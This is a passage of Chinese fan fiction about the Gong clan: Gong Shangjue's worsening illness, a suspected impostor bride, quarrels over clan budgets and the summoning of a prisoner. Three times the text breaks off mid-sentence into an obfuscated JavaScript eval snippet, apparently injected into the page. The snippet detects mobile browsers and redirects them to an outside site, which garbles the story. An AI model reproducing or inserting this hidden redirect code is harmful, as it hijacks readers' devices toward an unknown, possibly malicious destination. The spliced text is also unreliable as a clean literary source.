云为衫将药喝尽,忽又抬起一双清水般的眸子:“公子,我回宫门已有数日,只在回来当天见过紫商姐姐和远徵弟弟。我想,是不是也该去拜会一下其他人,免得被人说我失了礼数。” “你是执刃夫人,谁敢说你?”宫子羽一脸宠溺地搂过她,转而又道,“不过我确实打算过几日便去与长老们商议,择一良辰吉日,为你我补办正式的婚仪。” “公子……” “叫子羽。” 两人缱绻相拥,一阵甜得发腻,但云为衫未达目的,终究不肯轻易罢休:“可我既做了执刃夫人,就更该多去各宫走动走动。昔日便因你们手足之间彼此疏远,才让无锋有了可乘之机。我们吃一堑,总要长一智。” 宫子羽心下一凛,暗想这倒是句实话。所以这四年里宫门的每个人都在痛定思痛,如果是真的阿云,定会为他们如今的亲密感到欣喜。 然而假的阿云表完心迹,便从宫子羽怀中脱出,又道:“对了,我在江湖中听闻,角公子似是生了病,今日羽宫的下人也说许久未见到他露面。这些时日,你可曾去看过他?” 图穷匕见啊……她铺垫这许久,总算入了正题。 宫子羽敛了浓情蜜意,冷声道:“宫尚角从上月起便闭门不见客了。我去过几次,但始终没见到人。” 他看上去甚至有点生气。 “可你是执刃。” “那又怎样?角公子架子大得很……也怪我将他逼得太急,否则他也不至于现在撂了挑子!” “……哦?还有这样的事么?”云为衫微微拖着长音,似乎很感兴趣。 宫子羽便又添了几分愠色:“是啊。前段时日,雷家堡出现了半张无量流火的图纸,我质问宫尚角如何让图纸泄露出去,他反责我羽宫未尽内防之职。这事闹到长老院,长老们自然是罚他不罚我。我放不下此事,待他这次回来后又提出让他去查,他便干脆称病不出,也不知是真的,还是故意摆脸色给我。” 宫子羽这话倒也不全然是假。 那日他与宫尚角的确在长老院起了争执,不过为的是另一桩事:宫子羽认为,既然有人仍在打无量流火的主意,不如干脆用无量流火将人引出,反正剩余的半部图样在他背上,也不是谁都能轻易染指。但宫尚角认为这样做太过冒险,他们不该重蹈四年前的覆辙,再将危险引入宫门。 谁能想到,宫尚角最终选择用自己作饵。而兜兜转转,觊觎无量流火的人还是来到了宫子羽身边。 是什么让角公子改了主意?是因为他已病得无法再去宫门外解决问题了么?…… 而云为衫听罢故事,深明大义般地摇了摇头:“以我之见,角公子并非气量狭小之人。他或许有别的想法,又或许是真的病了。如此我才更应该代你去看看他,也好帮你们消除误会。” “这……阿云,宫尚角那脾气你又不是不知。你不必为我去看他的脸色。” “子羽放心,我不会委屈自己。想必暌违已久,角公子也会愿意给我个面子。” 宫子羽沉吟片刻,方才首肯:“好吧,那就姑且一试。但他未必信你,你千万要小心。若是他与你翻脸,我宫子羽绝不善罢甘休!” 宫子羽又俯身抱住云为衫,刚好让对方背向门窗的方向。 廊下暗影之中,宫岚角与他对了个眼神,即刻闪身往角宫报信。 * 宫子羽原是不大想让云为衫见宫尚角的。他早早便来问过,而宫尚角只回了一句:他的病是瞒不住的。 饶是角公子说得从容,宫子羽仍有些担心云为衫会出手试探。他只希望她足够聪明,将自己最后那句警示听进心里。 云为衫果然听进去了。 所以她只在见到宫尚角那一刻露出一丝惊讶,而后便面色沉静地接受角公子的盘问—— “这四年,你去了哪里?” “一直都在江湖中。” “为何不回宫门?” “宫门与无锋一战代价惨痛。在宫门人眼里,我终究曾是无锋。新仇加旧恨,我怕留下来,会让子羽为难。” “那为何现在回来?” “因为……角公子的病。” 云为衫抬起一直低垂着的眉眼,将灼灼目光投向茶案对面。宫尚角此刻正拥着狐裘,懒散倚坐在茶案的另一端。 “江湖上都在传,角公子恐不久于人世。” ——世人眼中的宫二先生立如松柏,动若雷霆,“懒散”二字与他沾不上半点关系。若他不得不借着身后许许多多的靠枕才能安坐,那只能说明他是真的已然病入膏肓。 “你很希望我死么?” “恰恰相反。角公子是宫门的顶梁柱,更是子羽的兄长。得知角公子生病,我们都很担心。” “——我们?” “云为衫本是浮萍之身,是找到了子羽,才有了自己的根。在我心里,宫门早已是我的家了。” “是么……”宫尚角显然并不买账,却也未予反驳,只是平静地审视着对谈者。 云为衫迎上那寒芒:“子羽和长老们已商定了我们的大婚之期。无论如何,下月朔旦,我都希望角公子能养好身体,亲眼见证。” “一定。” 他面色惨淡,声音极轻,唯眼中寒芒不灭,如余烬中迸溅星火,如永夜前未辍晖光。 · · · (八) 迎冬小雪至,应节晚虹藏。 旧尘山谷虽未落雪,小雪节气过后,亦是一天寒似一天。 哥哥这个冬天如何熬过,宫远徵原本已不敢奢想。但不知是新的药方派上用场,还是雪宫秘笈生了奇效,这些天宫尚角的病情恶化忽见放缓,虽无法扭转颓势,至少控制住失温之症,便不至于无论如何进补,总也入不敷出。 人总是这样,身上好过了些,心里便生出不安分来。 没人喜欢一直躺着,但若连一向咬碎了牙往肚里咽的角公子也开始抱怨起来,那便说明他定然已忍了许久,忍无可忍。 宫远徵一面坚决不允哥哥外出,一面又暗暗打算等下次放晴便陪着他出去坐坐,谁能想他今日兴冲冲地来,看到的却是已然空荡荡的床榻。 “——你说我哥去了哪里?!” 想刀一个人的心是藏不住的。金复面对宫远徵此刻看罪人一般的眼神,极力瑟缩着脖子:“后,后山花宫……” 宫远徵深吸了几口气,克制住嗓尖细微的颤栗:“谁带他去的?你总不会是告诉我,是哥哥自己从榻上爬起来,自己从角宫走出去的吧?” “是花宫抬了软轿来接的。”金复答了半句,又慌忙补充,“宫岸角也跟着去了,徵公子放心……” “放心?!放什么心?你让我怎么放得下心!”宫远徵也忍无可忍了,“花公子是医者么?宫岸角是大夫么?后山路途遥远,花宫刀冢又那般阴森幽闭,哥哥如今的身体怎么受得了?……金复,你是我哥的贴身绿玉侍,我哥从没亏待过你,你有没有心?你有没有点脑子!……” 金复着实有些委屈。 明明该说的他都说过,该劝的他也劝了,是公子自己执意要去,还因为嫌他啰嗦而不让他随行。可这会儿见了徵公子,他仍要被骂得狗血淋头,闹得里外不是人。 ——也是宫远徵近来实在有些风声鹤唳了。 宫尚角病重之后,宫远徵一直严格掌控着哥哥的饮食起居,对角宫的侍卫、下人提出的要求近乎苛刻,事无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240021|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨细到角公子每日穿几身衣、吃几粒米。 有些话连宫尚角自己都要听出茧子,整个角宫,也就只有宫岸角还能装作听不见宫远徵的絮叨。 明明还是个大孩子,眼下却把自己活得像个老妈子…… 于是,一向对弟弟无话不谈的宫尚角也开始有了缄口之心。 往日里他还愿意去哄一哄弟弟,但金复发觉,自家公子已愈发失了耐性,愈发不再一味顺着徵公子的心意。 或许,是他真的已病得太久,病得没了心力,病得失了心气。 他最不愿见的便是那曾经被他护在心口的软肋反成了罩在他身前的鳞甲,束着他,也束着自己。 金复对此也很抱歉,但他无法不在此刻触碰徵公子的逆鳞:“公子说,他去花宫办件事,徵公子知道了也不必跟来,他不会久留,让徵公子不要担心。” * “所以,你跑到花宫,是躲你弟弟来的?” 后山花宫不止有刀冢,那洞穴深处还藏着一汪天然熔岩。多年前,宫尚角也曾亲手在熔炉边铸出一柄利刃,干净利落地砍断了插在刀冢内的六把宝刀之一。 他后来将那柄子母刀送给了宫远徵,却从未告诉过弟弟,那刀名为“护心”。 现任花公子蹲在软轿边,一双眼亮晶晶地望向正对着炼刀炉出神的宫尚角。 他的年纪应和宫远徵差不多,目光中却带着不属于这般年纪的明悉透彻。 “为何这么说?”宫尚角低低地问。 百年不熄的炉火仍在角公子眼中,岩浆从两人身边流过,在他们眼底映出一条蜿蜒的红河。 “小黑哥哥从前常与我说起你们。你知道的,雪月花三族的孩子生生世世不能离开后山,只有被当作花宫宫主培养的哥哥才有机会知道前山的事。他成年后第一次溜出后山,去了徵宫,回来便与我说,他看着那位徵公子与我有些相像。” 宫尚角转过头,细细打量了一下眼前的少年人:“像吗?” 花公子笑了:“样貌自然是不像的,我又不是你们宫家的人。但那时的我也是天真无邪,有恃无恐,因为我知道无论闯了多大的祸,都有哥哥为我担着,替我承受族叔和爷爷的责罚,陪着我抄写那永远抄不完的花家家规。他不是我的亲哥哥,但我心里,早已将他当作至亲……” 宫尚角没有说话,只是一声叹息。他已知晓这故事最终的结局。 “没有人料到族叔和哥哥会死在那一战中。我也没有。——你知道那感觉吗?就好像是心里突然塌了一块,有一缕魂魄不知丢去了哪儿。四年了,唯有哥哥入我梦时,我才有种回魂的感觉,可醒过来那里还是陷着,也钻心地痛着。” “这不光是花公子一人之痛,也是整个宫门之痛。我们现在所做,正是让这悲剧不再发生。”熔岩灼热,可角公子仍将话说得泠然透骨,“这四年里,花公子已然做得足够好了。令兄泉下有知,也会倍感欣慰的。” “可我宁愿哥哥活着!……没有了哥哥,便再没有人同我一起罚抄家规。爷爷的严厉更胜族叔,我日日勤勤恳恳、战战兢兢,就因为我根本不敢犯错!……” “我宁愿哥哥活着。”花公子终于从声音中带出哽咽,他将同样的话又说了一遍,“如果能回到四年前,我绝不会让哥哥独守刀冢。我定会将他死死看住,无论付出什么代价,都不会让他离开我身边半步。” 双行泪洒入熔炉,霎时化作一点心火。铁花激荡,在人眼前晃出千般炙色。 宫尚角轻轻合上眼:“可你知道这行不通,对么?无锋的目标是无量流火,你哥哥若不挡在那里,遭殃的便是你们整个花宫,甚至是整个后山——这是他的死局,也是他的宿命。” “这或许是我哥哥的宿命,却未必是角公子的宿命。”花公子在炼刀炉将泪烤干,骤然回首,“宫远徵也同我一样,拼了命地想要抓住你。你也想一直护着他的,不是么?” “是。”但护着他便不能束着他。无论哥哥有多不舍,弟弟总要长大。 “你心里有数便好!”花公子如释重负般吐出口气,“月公子说你不可久留此处,我现在让人送你回去。你要的东西我过几天给你。执刃大婚将近,角公子千万要保重。” 5. 九·十 (九) 角宫许久未迎过这么多客人了。 执刃亲自带队,领着一群人乌泱泱地穿过角宫正堂前的长廊,不仅让几个负责清扫的侍女看直了眼,就连金复也以为是出了什么要紧事。 “执刃,公子刚服过药睡下,要将他唤醒吗?” 宫远徵一记眼刀递过来,宫子羽立即摇了摇头:“不用,我们就在外面等。” 亥月将尽,仲冬已在眼前。旧尘山谷午后的淫雨冷得如同冰碴,打在人身上浸出刺骨的寒。几个人站在檐下收了伞,你看看我,我看看你,脸上竟透出几分相互龃龉之意。 “都让你不要来了!宫尚角都病成什么样了,你就不能让他歇歇?”最先忍不住开口的是宫紫商,她用胳膊钳住金繁这墙头草,强行让他站在自己一边。 不论有理没理,宫门的执刃在气势上从不屈居于人:“那还不是因为你跑去长老院告状吗?老头们要我在大婚之前做决断,这会儿你让我怎么办?你说我能怎么办!” “……宫子羽你急什么?是,商宫明年的支度是要比往年多三成,可那是为了给整个宫门换一批新刀!你当上好的镔铁来得容易,锻造新刀不要钱吗?” “……商宫哪一年不锻新刀,怎么偏偏明年要坐地起价?还有,往年配给你们的银两究竟用去了哪?商宫的研究成果一点没见,你那个弟弟倒是换着花地添新衣!” “……你说事就说事,提我那不成器的弟弟做什么!宫门上上下下本来就有七八年不曾换刀了,近来断刃、崩裂之事频发。这可是性命攸关的大事,你身为执刃不问缘由就一并拒绝,你自己说说这合适吗?……” 于是角宫里人破天荒地看了一出诡戏,执刃与商宫宫主一个牛气哄哄、寸步不让,一个叉腰跳脚、蹬鼻子上脸。紧接着,姐弟俩同时转向徵宫的宫主,异口同声道:“远徵弟弟,你来评评理!” 宫远徵今日穿着一望便知十分名贵的花青色窄袖缂丝长袄,衬得一张娃娃脸多了几分锐利。 不满他二人声音太大搅扰哥哥午休,宫远徵轻抚袖间金线,沉着脸阴恻恻地补刀:“说来,徵宫明年的预算也是紧紧巴巴,我正打算请执刃从商宫那边匀些出来。或者,你们要是喝腻了百草萃便与我说,省一份药材,也好省一份开支嘛……” 这下宫子羽和宫紫商都不敢支声了。 其实,像来年支度这样的事,往时执刃、各宫宫主在敲定之前,也必得来一趟角宫。毕竟这偌大宫门,每日的开销多如牛毛,商宫、徵宫研制兵器毒药更是花钱如流水,只有角宫手握家族营生,源源不断地往谷中输送着一箱箱金银玉帛——他们才是养活整个宫门的人。 而今角宫宫主病重,宫门在江湖中的大小生意缺了主事人,虽未停滞,仍受了不小的影响。宫子羽对经商之事一窍不通,可又不忍再用这些庶务扰人病中清静。 ——这便是宫子羽迟迟不肯增加财算的原因,明年境况如何,他心里委实没底。若不是自己这好姐姐将事情捅到长老院,他本想的是能拖一天便是一天。 “看来这宫门没了角公子,还真是不行……” 屋檐椽头的瓦当坠下层层雨幕,一直未曾发话的月长老望着角宫的重檐,发出一声幽幽叹息。 * 心有挂念的人是睡不熟的。 角宫主室的大门很快便被吵开,被这么多人惦念着的角公子一袭钴蓝大氅,倚坐在墨池对面的书案后,对从屋外鱼贯而入的执刃、宫主、侍卫视而不见。直到月长老身后跟进几位医馆的大夫,他才稍一偏头,露出一丝疑惑。 “我听闻远徵弟弟新开的方子动了几味禁药,怕不稳妥,特意请了月长老和几位大夫过来给角公子会诊。”宫子羽做贼心虚地解释。 宫尚角并不理他,提笔又在面前的素笺上加了一行字。昔日握刀的手如今连写字都抖得厉害,宫子羽站在近处也没瞧清他究竟写的什么,而宫岸角已在旁替他折起信笺,一并归入案上厚厚的一沓文书。 “金陵钱庄的案子我已遣人去跟了,那几人的证词还有疑点,宫门不宜过早出面,以免陷入被动。这半月来角宫未发走的文书都在此处,执刃的批注我看过了,大部分没什么问题。生意上的事你若拿不准主意,可多去请教旧尘山谷里的几位老掌柜,他们经验丰富,总有办法的……” 他似是有些眩晕,说完这一大段话后便闭了眼用手撑住桌案,勉力吸了几口气。 宫紫商刚要上前,却发现先她半个身位的宫远徵倏忽顿住本已迈开的步子。 月长老则从另一端将她拦下:“都往后退些,你们围得太紧,角公子要喘不上气了!” 屋外雨势更大,惊天动地般砸向檐下台基。屋内顿时暗了许多,只余炉火和案上几点烛光,在室内凝滞的气流中微弱摇曳。 宫尚角的声线压抑在雨声中,听上去随时可能昏过去:“来年的支度计取还依旧例,呈一份正式的文书至长老院即可。今年宫门的生意并不难做,执刃不必担心……” 说罢,他示意宫岸角将那一摞文书递过,而宫子羽目光闪动,已几乎不知该用什么样的神情来接。 金繁贴心地替执刃收了文书,回头提醒几个大夫赶紧过去请脉。 “几位,诊了脉便出来说吧。”宫远徵当先开门走出去,甚至没再往哥哥那里投去一眼。 锋锐的青影迅速消失在墨池尽端,宫尚角将半张脸隐在灯影暗处,面无表情,不发一语。 宫子羽与宫紫商对视了刹那,两人心中都感觉有些不妙。 直待月长老也跟出去,宫岸角复将房门关严,角公子这才收回目光,将身子重新坐直了些:“现在说罢,到底找我干什么来了?” · · · (十) “我可不是得想个法子来见你!毕竟在别人眼里,我还在为无量流火泄露之事与你置气!” 角宫的主室里只剩自己人,宫子羽松了口气,甩开端了半天的执刃架子:“你冷不冷?我让金繁再去加个火盆?” 屋外的雨仍下得暴戾,金复向烛台中添了些蜡油,屋内才又重新亮堂起来。 “不用。我不冷。”烛光映出宫尚角唇角的弧度,他现在止不住地想笑。 无论是门外的假戏真做还是刚刚的嘘寒问暖,都太像是这一任宫门执刃会干出的事——荒唐,但并不违和。 “就知道使唤人!”尽管手捧厚厚一沓文书的金繁什么都不必做了,宫紫商还是白了宫子羽一眼,“对了,先说清楚,我刚才可没在开玩笑。明年的银两若是拨不下来,我就去羽宫扒了你的瓦卖钱!” 这也的确是只有紫商大小姐才能说出的话。 宫尚角终于完全展颜,笑意顺着他刀削般的额头漫过高耸鼻峰,在鼻翼两侧划开两撇笑纹。 他忍不住咳出声来——在生病之前,他从不知道笑也需要花费那么多力气。 宫紫商瞬间转移了攻击目标:“还有你,笑什么笑!才刚能起身就忙着揽活,真嫌自己命太长了是吗?” 不愧是宫门的大小姐,几句话便把两个弟弟都治得服服帖帖。 【劝过。劝不住。】宫岸角在旁边打了手势,但宫尚角不会为他翻译这句,宫子羽和宫紫商都没有看懂。 宫尚角看上去精神实在不大好,宫子羽不想耽搁太久,便直入主题:“这几日旧尘山谷多了很多生面孔,除了知道我要大婚前来送礼的,应该也有不少是无锋。宫门内部地形已不是秘密,虽然岗哨都换过,但布局总归是变不了的,我怕他们会来找你麻烦。” “所以,你打算借医馆大夫之口把我病入膏肓的消息散播出去,让他们不必再来我这里费事?”宫尚角不以为然地摇摇头,“想唱空城计,就得让人摸不清虚实。大张旗鼓地告诉别人我要死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240022|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那我只会死得更快。” 不愧是宫二先生,几句话便将堂堂的宫门执刃训得哑口无言。他现在知道宫尚角乍见几个医馆大夫时为何一脸无语了。 “角公子也怕死么?”有从小到大的情谊在,金繁毕竟更愿意站在宫子羽一边。 “我倒是没那么怕死,怕的是你夫人以后没钱花,不光要扒羽宫的瓦,还要拆了我的角宫,那我可就死不瞑目了。”宫尚角倒是毫不避讳地开起了玩笑。 “你俩说什么混账话呢!” 宫紫商不敢动宫尚角,狠狠推了金繁一把,几叠文书猝不及防从他手中脱出,落在地上,露出一行行字迹潦草但一看便知十分用心的批注。 这下金繁也不敢说话了。 宫紫商向来都是一个极有眼色的人,她知道宫尚角并不想看见他们这样,于是立即引回话题:“话说回来,宫子羽,那个云为衫进宫门也有小半个月了,你与她朝夕相处,就没看出点什么来?” 宫子羽用眼神谢过自家姐姐救场,然后苦恼地摇了摇头:“邪门的就是,我明明知道她不是阿云,可就是抓不着她的把柄。她好像真的想做这个执刃夫人,这些日子一直忙着张罗我们大婚的事。” 宫紫商对此也表示同意:“是了,她前几天还找我选了些首饰纹样,看起来确实很认真……他们会不会又要在大典上搞鬼?” “不排除这种可能。但别忘了,上一次,我们让无锋死了四个魍、两个寒鸦。他们若足够聪明,就不会再挑我们防守最严密的时候动手。”宫尚角抬起头,心事重重地望向窗外的雨帘,“毕竟,入了仲月,就离冬至不远了……” “冬至?冬至怎么了?……”宫紫商多少沾点明知故问。 天光溟濛,将角公子原本鲜亮的祜蓝氅衣映出灰调,大领处的柔软狐皮却更皓白如雪,衬得他的肤色几近透明。 月长老就在这时推门进来,终结了先前的问句:“云为衫来过,又走了。大概是听我们一直在谈药理,觉得无趣。” 他在门口抖去一身潮气,待看清宫尚角的脸色,忽又急匆匆走过来诊了一遍脉,然后迅速从随身的小瓷瓶中倒出一粒墨色丹药。 宫子羽在最后一刻将他拦下:“等等,这不会还是那什么玄丹吧?……” “是治胸痹心痛的药。麻烦执刃去倒杯水来。”月长老并不多言,却在目光中带出几分责问,也不知是在责问某个人不长嘴,还是责问一群人不长眼。 直到看着宫尚角把药吃下去,调息片刻,他才总算松了口气:“你可真能忍啊……” 胸痹,心痛?刚刚吗?……他究竟忍了多久了?…… 一屋子不长眼的人现下都有些傻眼。 只有宫尚角还当什么都不曾发生:“云为衫来做什么?” “……” 好在月长老于三域试炼时便已很清楚角公子的性子,他嘴角抽动了两下,终究还是照实回答:“说是婚服刚刚改好,想请执刃去试。知道执刃来了角宫,怕你们再吵起来,便跟来瞧瞧。” 听上去仍然是滴水不漏的说辞。 “远徵呢?” “去医馆改药方了。徵公子善于用毒,配药也一贯激进。角公子便是因为身子承受不了那几味药,才会生出这胸痹心痛之症。我已与几位大夫拟了新的方子,但还需再查查医书。” “不是,宫远徵就这么走了?!”宫紫商终于反应过来,她瞪大了眼睛,“往时就算闯了祸,也没见过他这样。他今日从进屋开始好像就没说过话,而且——” 而且他冲出门的样子,就像是在躲着宫尚角,就像是他害怕与他哥哥亲近。 “……你们兄弟俩不会是吵架了吧?”她问出了这一屋子人都想知道的问题。 但还不等宫尚角作答,一身侍女装的宫岚角已风风火火地破门而入:“公子,执刃,出事了!徵公子与云姑娘打起来了!” 6. 十一 (十一) 雨还未停。 冷雨从竹叶间溅落,入地成霜,腾起稀薄的雾气。 宫远徵滞在雨里,任粘稠的水滴在发尾结成丝线,缕缕坠向脚下青砖。 云为衫来医馆时未带武器,他便也不动兵刃。两人从药房打到馆外竹林,电光火石之间交了数十招,依然胜负未分。 “远徵弟弟,我相信阿云只是关心尚角哥哥的病情,并不是要偷看药方。”宫子羽来时撑了伞,他将云为衫护在伞下,又从金繁手里接了另一把递过来。 “徵公子是关心则乱了。”伞尖遮去云为衫眼中淡漠,她笑着勾起唇,“不过,若不试一试,我竟不知远徵弟弟这几年武功有了这般精进。” 眼见先机已失,宫门执刃的神情中多了一丝忧虑。 宫远徵不作回应,转身踏入青烟。 竹径蜿蜒,细雨苦寒,宫远徵很快便后悔没有拿上那把油纸伞。他脚下打了个趔趄,差点跪断路边冒头的笋尖。喉头一甜,他呕出胸腔内的一大口淤血。 这个云为衫真是厉害…… 他摸不透她的招式路数,却能感觉到她比四年前的云为衫武功高了不止一星半点。他如今有雪月花三宫心法傍身,却仍然在她手下讨不到任何便宜。 ——这便是魉的实力么? 宫子羽曾提醒过他不要轻易与她交手,但一到哥哥的事,他就好像有点不受控制。 ——是因为这样哥哥才疏远他么? “远徵,去做你自己想做的事。去过你自己想过的生活。”哥哥的声音仿佛犹在耳畔。 可是哥哥啊,我想过的生活,便是长长久久在你身边…… * “雨停了……” 宫远徵从自己的榻上醒来,恍然间只听到这声耳语般的呢喃。 天已入暮,屋内一片晦暗,只有天井透着昏黄的光。他披衣步出内室,便看见一个祜蓝色的影子正拥着火炉,靠坐在栏杆边,出神地望着天井中央那棵枝节遒劲的参天大树。 “……哥?”宫远徵甩了甩脑袋,以为是自己出了幻觉。 然而那影子马上便转过头来,露出一双温暖而关切的眸子:“醒了?可还有哪里不舒服?” 宫远徵昏昏沉沉地来到炉边:“哥……你怎么到徵宫来了?我这是……” “徵公子在医馆外突然晕倒,还好执刃尚未走远!”金复一面解释,一面走过来为他们添上新茶,“几位大夫都说徵公子只是一时气血上逆,没有大碍,否则公子这会儿便该去羽宫兴师问罪了!” “金复出去!”似是嫌他多嘴,角公子毫不客气地下了驱逐令。 金复灰头土脸地被撵出门外,便看见宫岸角站在廊下幸灾乐祸地瞧他。 “笑什么?”你又不知道里面发生了什么。 【你太多话。】 金复总算知道自家公子为何在十几个角宫青年中独独挑中宫岸角了。 屋子里只剩兄弟二人,宫远徵反倒变得局促起来。他慌张地转着茶杯,有些不敢往宫尚角的方向看。 “有话就说。” “……那个,哥是因为担心我才来徵宫的么?” 由于靠近水系,徵宫常年比其他的宫更湿冷些。宫尚角身体渐渐不好之后,已很少再来这里。 担心哥哥受冻,宫远徵又起身去取了平日常盖的毯子,顺手也给自己点了个手炉:“天气这么冷,哥实在不该出来的……” 光滑的羽缎如瀑般披在他身上,宫尚角隐约认出这是自己很多年前送给弟弟的一件礼物。斥责的话已到嘴边,到底是没用斥责的语气说出来:“你若真心疼我,今日就不该这般莽撞行事。” “可那是她先惹我的!”弟弟争辩道,“我想着既然如此,不如借机试她一试。” “……你先想清楚,是你试她,还是她试你?” 宫远徵愣了愣,回忆起云为衫说的话,脑子忽然转过弯来:“糟了!我没试出她的武功路数,反被她摸清了底细!” 宫尚角叹了口气:这傻弟弟啊…… “这些天宫岚角盯着她,说她除了在羽宫,还去过三次商宫,三次角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240023|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫,两次医馆,一次长老院,前些天还夜探过一次后山。宫门上上下下都被她摸了个遍,想来大婚之前,她应该会出一趟宫门,把消息递出去。” “要我去看着她么?” “不用。我已撤掉了密道的守卫,派了几块玉去旧尘山谷那边盯着。她未必发现不了我们的人,但我想,她一定会冒这个险。我们等着看就是。” 宫尚角说罢便咳嗽起来。宫远徵慌忙将手炉也塞过去,见不顶用,干脆自己坐到他身边替他抚背。 “这个宫子羽,到底是怎么当执刃的?不体恤哥哥的身体,还事事都要哥哥操心!”他嘴上说着宫子羽,目光中却满载着自责。 宫尚角何尝不知道弟弟浑身上下嘴最硬,哑着嗓子安抚道:“你们没出过宫门,江湖阅历太少,有些事情想不到也很正常。” “从前是我没有成年,可如今我已经二十一了!……”宫远徵顿了顿,忽然放轻了声音,“等到来年开春,我请长老们放我去江湖上历练历练,到时哥哥陪我一起,可好?……” 他问得那般小心翼翼,仿佛只要声音足够轻,就能得到哥哥肯定的答复。 可是没有。宫尚角只是沉默地看向天井,看着那在夜幕彻底降临前轮廓依稀的树影。 宫远徵知道,哥哥只是不想骗他。 “这茶可真苦……”徵公子皱着脸放下茶杯,站起身来,“晚膳还没送来,这里太凉了,我扶哥哥进屋躺躺吧?” “好。” “哥,你今晚能不能……”能不能留下来,别走了?“……不,还是算了……”徵宫太冷,哥哥留在这里,夜里会难受的。 “远徵,我走不动了……” “哥再坚持一下,很快就到了。我记得徵宫还有几个不生烟气的火笼,晚上我让他们找出来。” “好。” 宫尚角很少服软,宫远徵讶异地接住哥哥几近全身的重量,在余光中瞥见他颊上不正常的潮红。 “我以为哥哥不想与我呆在一处了……” “不是你在躲着我吗?” 7. 十二 (十二) 旧尘山谷一连下了好几场雨。冬雨缠绵,不仅惹得人心烦,也拖慢了执刃婚典的筹备。待天好不容易放晴,已离冬月初一的正日子不差两日。 宫门里顿时忙成了一锅粥,羽宫和执刃殿都在紧锣密鼓地布置,彩带花灯、香烛礼器之类的物件摆得令人无处下脚,宫子羽也不得不借了长老院的议事厅办公。 于是金复找执刃找到这里,便将宫尚角交代他的事一并报给了三位长老。 “你是说,那个云为衫溜出宫门后,去见的人并不是无锋?”花长老捻着一大把白须,从议事厅的这头走到那头。 前任花长老离世之后,花氏一族找不出合适的继承人选,不得不请动更高一辈出山。这位须发皆白的老先生已逾耄耋之年,论辈分,连雪长老也要称一声世叔,但他仍然声音洪亮,健步如飞,拿他亲孙子、现任花公子的话来说,老人家抡起拐杖砸人的力气一点不输侍卫营里那群大小伙子。 “是这样。”金复丝毫不敢怠慢,花长老走到哪里,他便将身体转向哪里,“不仅如此,他们还在谈话中提到了一个令人意外的名字。” “是谁?”宫子羽抢先问道。 “宫唤羽。” 一个久违的名字,听得在场众人都不由得愣了愣。 金复垂着手继续说道:“宫唤羽四年来一直被关在地牢,按理说,公子应当亲自前去……” “不行,他不能去!”月长老不待说完便断然否决了这主意。 金复马上点点头:“是,公子也知道自己的身子实在不便去那地方,所以差我来请示执刃和诸位长老,能否将宫唤羽提出地牢,就在长老院审问。” “这……大喜之日临近,虽说是做戏,但终归有些犯忌。”雪长老低头沉吟,“尚角既然身体抱恙,何不另择他人去地牢讯问,再将所述之言一一记录下来便是。” “事关重大,公子认为知道的人越少越好。况且交由他人,也怕有所疏漏。” “哦?难不成还是为了……” “那便这样定吧。”宫门的执刃当即拍了板,“金繁现在去地牢提人,金复你回去接角公子——来时慢着点,我们不急。” * 长老院的议事厅面阔七间,进深六椽,虽非执刃殿那般鸿篇巨制,但檐柱、金柱皆用旧尘山谷深处五百年以上的金丝楠木,置身其间,总能闻到缕缕幽香。 但即使是这般光风霁月的地方,也掩盖不去那久居囚笼之人身上的味道。 ——不是单纯的腥或臭,而是霉变腐朽的气味。那是一股从内到外烂透了的味道。 宫尚角到的并不算慢。他的软轿裹挟着药气,甫一进门,瞬间令厅内众人的鼻腔清新不少。宫子羽见他来了便立即迎上去,同金复一起扶他下来,落座早已备好的暖榻。 花长老、雪长老和长老院里的黄玉侍卫都已有数月未曾看到过宫尚角,虽知道他生病,但脑中还是昔日角公子一骑墨麒麟所向披靡的潇洒英姿,而今见人竟虚弱到短短几步也需要两人来搀扶,不禁瞠目的瞠目,唏嘘的唏嘘。 “四年不见,这一幕,真是令人意外。”大殿正中,宫唤羽正乜斜着眼,注视着一切,“子羽如今是越来越有执刃的样子了,可是你……” 他将头扭向右侧,撑开一副阴骘的青瞳:“你应该已没有几日好活了吧?” 宫尚角裹着一身厚厚的缁色羔裘,脸色比四年不见阳光的人看上去还要憔悴苍白,但面对宫唤羽,他只是云淡风轻地笑了笑:“心里见不得光的人,才成天盼着人死。看来哥哥这四年关的也不冤。” 无论如何,他还是叫了他一声“哥哥”。 宫唤羽挑了挑眉,竟然也没再说出呛声的话来。 在场的侍卫很快都退了下去,金繁跟在金复身后出来,诧异道:“宫远徵怎么没来?” 这两人的别扭难道还没闹够? “公子让徵公子先回徵宫取些东西,应该很快就到了。”金复抬头望了望天,忽又“咦”了一声,“这天怎么又阴了?该不会还要下雨吧?再这么下下去,人都要霉了!” 